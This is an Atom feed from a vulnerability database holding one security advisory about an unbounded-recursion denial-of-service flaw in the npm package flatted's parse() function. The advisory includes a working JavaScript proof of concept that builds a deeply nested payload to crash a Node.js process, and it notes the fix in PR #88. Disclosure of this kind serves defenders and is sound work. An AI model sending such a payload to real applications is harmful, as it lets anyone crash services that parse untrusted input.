<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://db.gcve.eu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-01T07:32:37.850795+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@gcve.eu</email>
  </author>
  <link href="https://db.gcve.eu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://db.gcve.eu/vuln/ghsa-25h7-pfq9-p65f</id>
    <title>GHSA-25h7-pfq9-p65f — flatted vulnerable to unbounded recursion DoS in parse() revive phase</title>
    <updated>2026-10-01T07:32:37.861041+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: flatted</p>
<p>## Summary</p>
<p>flatted's `parse()` function uses a recursive `revive()` phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential `$` indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.</p>
<p>## Impact</p>
<p>Denial of Service (DoS). Any application that passes untrusted input to `flatted.parse()` can be crashed by an unauthenticated attacker with a single request.</p>
<p>flatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.</p>
<p>## Proof of Concept</p>
<p>```javascript
const flatted = require('flatted');</p>
<p>// Build deeply nested circular reference chain
const depth = 20000;
const arr = new Array(depth + 1);
arr[0] = '{"a":"1"}';
for (let i = 1; i &lt;= depth; i++) {
  arr[i] = `{"a":"${i + 1}"}`;
}
arr[depth] = '{"a":"leaf"}';</p>
<p>const payload = JSON.stringify(arr);
flatted.parse(payload); // RangeError: Maximum call stack size exceeded
```</p>
<p>## Fix</p>
<p>The maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive `revive()` to a stack-based loop.</p>
<p>## Affected Versions</p>
<p>All versions prior to the PR #88 fix.</p></div>
    </content>
    <link href="https://db.gcve.eu/vuln/ghsa-25h7-pfq9-p65f"/>
  </entry>
</feed>
